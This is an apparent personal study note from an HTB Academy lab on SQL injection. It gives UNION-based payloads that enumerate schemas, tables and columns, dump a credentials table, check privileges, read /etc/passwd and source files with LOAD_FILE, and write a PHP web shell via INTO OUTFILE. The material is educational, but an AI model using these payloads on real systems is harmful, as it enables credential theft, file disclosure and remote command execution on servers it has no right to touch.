Database Enumeration
INFORMATION_SCHEMA Database
When using UNION SELECT
to write a query we need the list of DBâs, tables within those DBâs, and the columns within those tables.
You can use dot notation to grab from another database.
SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;
The above query will show us the databases.
In order to inject this into the example we have been following then we would want to insert the following into the the search bar
cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -
NOTE: the final dash is to denote there is a space and should be removed
The above injection works by giving the site a value it wants cn'
and closes the variable. We then do a UNION
against INFORMATION_SCHEMA.SCHEMATA
by doing dot notation to go to the INFORMATION_SCHEMATA
DB and use the UNION clause against the SCHEMATA
table. Since we Uses ORDER BY or UNION to test how many columns the first table returns we use select 1,schema_name,3,4
to then output all the DBâs that exist on the server.
We then want to figure out which DB this application is currently using and we can figure that out by the following.
cn' UNION select 1,database(),2,3-- -
Tables
Though we have the database names we still need the database tables.
cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -
by replacing our filler data for 2 and 3 with TABLE_NAME
and TABLE_SCHEMA
it gives us back the table name and DB they are part of. INFORMATION_SCHEMA.TABLES
is the table that contains this data. where table_schema='dev'
allows us to filter the query to just the DB we care about.
Columns
We can grab column information like we do below
cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -
I do not have to go too in detail on this. It would just be beating a dead horse at this moment. However, for me personally, whenever I play with databases I get easily lost in the abstract. Especially when it comes to columns and rows. STOP. THINK. I tend to try to move to fast.
Data
We can now grab the data we want doing the same dot notation.
cn' UNION select 1, username, password, 4 from dev.credentials-- -
Reading Files
In order to read files we need to know our privileges, in order to do that we need to know what user we are.
Find your user
SELECT USER()
SELECT CURRENT_USER()
SELECT user from mysql.user
using the same example we woulkd inject this with the following
cn' UNION SELECT 1, user(), 3, 4-- -
or
cn' UNION SELECT 1, user, 3, 4 from mysql.user-- -
Find your privileges
SELECT super_priv FROM mysql.user
we can do this via injection from the example we have been following
cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user-- -
if the query returns âYâ that means you have super privileges.
If we want to see what other privledges we have we can do the following query:
cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"-- -
The below query will allow us to load the /etc/passwd file
SELECT LOAD_FILE('/etc/passwd');
example in an injection
cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4--
or we can even grab the code
cn' UNION SELECT 1, LOAD_FILE("/var/www/html/search.php"), 3, 4-- -
Writing Files
To be able to write files to the back-end server using a MySQL database, we require three things:
- User withÂ
FILE
 privilege enabled - MySQL globalÂ
secure_file_priv
 variable not enabled - Write access to the location we want to write to on the back-end server
If secure_file_priv
is empty then we can read files from the entire system, if it has a certain directory then we can only read from that directory, if it is NULL
this means we cannopt read/write from or to any directory.
MariaDB default is blank
MySQL default is /var/lib/mysql-files
The following SQL is to see what our privileges are
SHOW VARIABLES LIKE 'secure_file_priv';
Since we are doing SQLi we need to find this out via a select statement like the following
SELECT variable_name, variable_value FROM information_schema.global_variables where variable_name="secure_file_priv"
An example with the lab we are using:
cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -
Now that we know that we can edit files we can now dump the data into a file with the INTO OUTFILE
statement
SELECT * from users INTO OUTFILE '/tmp/credentials';
a more advanced version would to be use FROM_BASE64("base64_data")
Webshell example
cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -
once this is done you can go to <URL>/shell.php?0=<command url encoded>
â Break prove to help me understand what was going on
Did the HTB Academy - SQL Injection Fundamentals - Assessment Writeup for the remainder of the days learning.